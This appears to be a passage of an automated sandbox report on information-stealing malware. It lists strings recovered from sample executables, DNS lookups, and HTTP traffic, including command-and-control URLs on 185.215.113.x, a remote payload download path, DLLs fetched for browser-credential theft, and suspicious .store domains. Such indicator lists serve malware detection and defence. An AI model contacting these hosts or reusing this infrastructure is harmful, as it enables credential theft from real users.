https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Ce6510aad57c34d7bda3161fd77cbb61d; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=8fb20610008f16691a523d86; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodilv equals www.youtube.com (Youtube)
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: captcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https equals www.youtube.com (Youtube)
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: teamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store
Source: global traffic	DNS traffic detected: DNS query: scriptyprefej.store
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com
Source: global traffic	DNS traffic detected: DNS query: cold-eu-fsn-2.gofile.io
Source: global traffic	DNS traffic detected: DNS query: gofile.io

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/1IM
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll4
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlll
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllr
Source: file.exe, 00000000.00000002.2075634451.0000000001977000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll5mI
Source: file.exe, 00000000.00000002.2075634451.0000000001977000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllKmk
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll&
Source: file.exe, 00000000.00000002.2075634451.0000000001977000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/C:
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/4
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/CK
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/O
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php002
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4x
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4yAI
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8x
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJ
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpdx
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpt
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpyuI
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/nSettingsC:
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/t
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.0000000000819000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2065
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 4172e6dca8.exe, 00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206V
Source: file.exe, 00000000.00000002.2075634451.000000000191E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206s$I
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5667001
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpP
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php_
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpb
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001454000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2101454274.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2088847471.000000001DC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097871469.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/p
